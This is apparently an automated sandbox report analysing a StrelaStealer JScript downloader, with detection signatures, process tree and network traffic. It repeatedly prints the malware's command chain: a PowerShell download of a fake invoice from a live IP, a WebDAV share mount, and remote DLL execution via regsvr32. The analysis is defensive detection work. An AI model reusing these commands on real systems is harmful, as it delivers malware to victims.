Edit tour

Windows Analysis Report
507722252877028578.js

Overview

General Information

Sample name:	507722252877028578.js
Analysis ID:	1588282
MD5:	33c629bdc61795f33057d7fb71d20435
SHA1:	9e027a0553aaf182a19a72a2c674f200da22ec17
SHA256:	a4ccd33fd2eb08425e4d6933ce975f9d610be5d17dff173eb42090ff847ba5b0
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2616 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\507722252877028578.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1472 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1492 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7124 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4952 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7056 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2248 --field-trial-handle=1552,i,7908193975691399747,14507229890269203624,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3228 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7060 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2616 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2616	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1492, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1492, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\507722252877028578.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\507722252877028578.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\507722252877028578.js", ProcessId: 2616, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7060, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\507722252877028578.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\507722252877028578.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\507722252877028578.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\507722252877028578.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\507722252877028578.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\507722252877028578.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\507722252877028578.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\507722252877028578.js", ProcessId: 2616, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1492, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3228, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7060, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2616, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3228, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7060, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\507722252877028578.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 1472, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:31:07.029315+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:31:01.514658+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 507722252877028578.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 507722252877028578.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:31:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

